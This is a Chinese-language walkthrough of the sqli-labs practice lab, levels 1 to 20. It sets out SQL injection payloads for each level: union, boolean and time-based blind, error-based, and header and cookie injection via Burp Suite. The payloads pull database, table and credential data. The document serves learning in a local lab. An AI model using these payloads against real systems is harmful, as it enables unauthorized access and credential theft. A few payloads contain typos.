本实验用于交流学习,请提前搭配好环境,mysql,apache,php,Burp suite以及sqli-labs。
第一关
首先页面上没有注入点,使用的是GET请求,在url拦里输入?id=1',发现有回显内容,所以闭合方式为'。所以我们选择正常在url中sql注入即可。
注入代码(union的作用是连接查询,合并结果集并去除重复项)
?id=1' order by n --+ // n从1开始,每次递增,知道出现错误,判断出数据库列数
?id=-1' union select 1,2,database()--+ // password栏回显出数据库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ // 查询security库中的表名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ // 获取users表中的列名
?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users;--+ // 查询到users表中的username和password列的数据
结果:
第二关
先判断闭合方式,输入?id=1发现有正确回显,所以该题闭合方式为整形闭合。同第一题方式相同,只是闭合方式由?id=1'变为了?id=1
结果:
第三关
这一关的闭合方式为')闭合,注入方式同第一关一样,闭合方式由?id=1'变为?id=1')
结果:
第四关
依然只是闭合方式变成了双引号闭合"),闭合方式变为?id=1")
url里后面输入?id=-1") union select 1,2,group_concat(concat_ws(':',username,password)) from security.users;--+后结果为:
第五关
这一关我们输入?id=1'--+后发现没有回显了,但是会报错,所以这一关是盲注,我们此次选择布尔盲注。(流程比较复杂,我们只要理解他就可以了,现实中可以使用sqlmap等工具省去这些繁琐的部分,而且这里采用报错注入更为快捷)
sql代码:
?id=-1' or length(database())=n --+ // n还是从1开始递增,直到页面返回正确内容,判断出数据库名的长度为n
?id=-1' or left((select database()),1)='a' --+ // 此时我们要先判断数据库名的第一个字母是什么,从a-z,A-Z,_依次试,具体mysql数据库命名规则可以网上查阅,直到页面返回正确内容you are in。
?id=-1' or left((select database()),2)='sa' --+ // 试完第一个试第二个,我们已经有了长度,所以最终会得到数据库的名称
?id=-1' or length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=n --+ // 原理同上,试出数据库中每个表名的长度
?id=-1' or substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+ // 试出第一个表名的第一个字母,然后把所有数据库中表名全部找出来
?id=-1' or substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a'--+ // 这样是查询第二个表名的第一个字母,以此类推
?id=-1' or length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=n --+ // 试出emails表中第一列的长度
?id=-1' or substring((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='e' --+ // 试出列名
?id=-1' or length((select email_address from emails limit 0,1))=n --+ // 试出列中内容的长度
?id=-1' or substring((select email_address from emails limit 0,1),1,1)='a'--+ // 试出列中的内容
结果:(没有回显,可以看url中我输入了Dumb,也就是users表中第一个username,you are in代表猜对了!)
第六关
闭合方式为",注入方式和第五关一样。
结果:
第七关
闭合方式为'))
结果:(结果为True则返回如图结果,结果为False则返回you have an error in your SQL syntax)
第八关
(和第五关一样,由于第五关我们就使用了布尔盲注)
闭合方式为'
结果:
第九关
这时我们发现,不管输入结果为True还是False,页面都显示一样的内容,所以这时我们选择时间盲注。先判断出闭合方式,当输入?id=1' and sleep(5)--+时,页面刷新了5s以上,所以闭合方式为'
sql代码:
?id=1' and if(length(dabbse())=n,sleep(10),1)--+ // 获取数据库名称长度
?id=1' and if(left((select database()),1)='a',sleep(10),1)--+ // 判断数据库名称第一个字符
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=n,sleep(10),1) --+ // 获取第表名的长度
?id=1' and if(left((select table_name from infotmation_schema.tables where table_schema='security' limit 0,1),1)='a',sleep(10),1)--+ //获取表名
.......理解即可,掌握原理
结果:(观察页面刷新时间判断)
第十关
闭合方式为“
改变闭合方式后,同第九关一样
结果:
第十一关
可以发现有登录页面,所以这里使用的是POST请求
使用1' or 1=1# 测试闭合方式以及是否存在注入点,发现存在注入点
sql代码:
1' or 1=1#
1' union select 1,database()# // 查找回显点,回显出数据库名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'# // 查找表名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'# // 查找列名
-1' union select 1,group_concat(concat_ws(':',username,password)) from security.users# // 查找users表中的内容
结果:
第十二关
判断闭合方式,发现此关闭合方式为“),也就是1") or 1=1# ,其他的和第十一关一样
结果:
第十三关
此时我们发现,这关没有回显点了,只有登录失败和登录成功,测试出闭合方式为"),而且有语法报错,所以我们采取报错注入(也可以使用布尔注入)。
sql代码:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))# // 获取数据库版本
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# // 获取数据库名称
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))# // 获取表名
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))# // 获取列名
1')and (extractvalue(1,concat(0x7e,(select group_concat(concat_ws(':',username,password)) from users),0x7e)))# // 获取users表中数据
结果:
第十四关
闭合方式为“,其他的和十三关一样
第十五关
判断出闭合方式为',发现这关没有报错了,所以使用布尔盲注。
sql代码:
1' or length(database())=n # // n还是从1开始递增,直到页面返回正确内容,判断出数据库名的长度为n
1' or left((select database()),1)='a' # // 此时我们要先判断数据库名的第一个字母是什么,从a-z,A-Z,_依次试,具体mysql数据库命名规则可以网上查阅,直到页面返回正确内容you are in。
1' or left((select database()),2)='sa' # // 试完第一个试第二个,我们已经有了长度,所以最终会得到数据库的名称
1' or length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=n # // 原理同上,试出数据库中每个表名的长度
1' or substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'# // 试出第一个表名的第一个字母,然后把所有数据库中表名全部找出来
1' or substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a'# // 这样是查询第二个表名的第一个字母,以此类推
1' or length((select column_name from information_schema.columns where table_name='users' limit 0,1))=n # //试出emails表中第一列的长度
1' or substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u' # // 试出列名
1' or length((select username from users limit 0,1))=n # // 试出列中内容的长度
1' or substring((select username from users limit 0,1),1,1)='a'# // 试出列中的内容
结果:
第十六关
闭合方式为"),其余的和十五关一样
第十七关
这关的界面为密码重置界面
账户为admin,新密码栏中尝试报错注入,1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or ' 发现报错注入成功
sql代码:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or ' // 获取数据库名称
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or ' // 获取表名
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or ' // 获取列名
1' and extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e)) or ' // 获取表内内容
结果:
第十八关
输入admin,密码admin123(在17里重置好)
发现返回了your user agent is:xxxxxxx,所以这里使用user agent注入
打开burp suite用内置浏览器打开sqli-labs,开启代理拦截,输入账号密码然后submit,用重放器打开。
修改user-agent中的内容为sql报错注入命令,发现成功。剩余步骤和第十七关一样。
第十九关
我们还是输入admin和admin123,发现出现了your referer is:xxxxxxxx。所以我们可以使用referer注入。
同样的,burp suite开启拦截,输入账号密码,然后发送到重放器,放行。
修改referer的内容后,攻击成功了,剩余步骤同十七关,只是换了个注入点
第二十关
同理,输入账号密码后发现回显了your cookie,所以,我们进行cookie注入!
burp suite开启拦截,输入账号密码,然后发送到重放器,不放行。
sql代码:
uname=1' union select 1,2,database()--+
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
uname=1' union select 1,2,group_concat(concat_ws(':',username,password)) from security.users--+
结果:
总结
在本次实验中,我们学习了基本的sql注入方式,直接注入,布尔盲注,时间盲注,报错盲注,user-Agent注入,referer注入,cookie注入。如果还想继续深入,就要开启21关之后的内容,我们下次再见!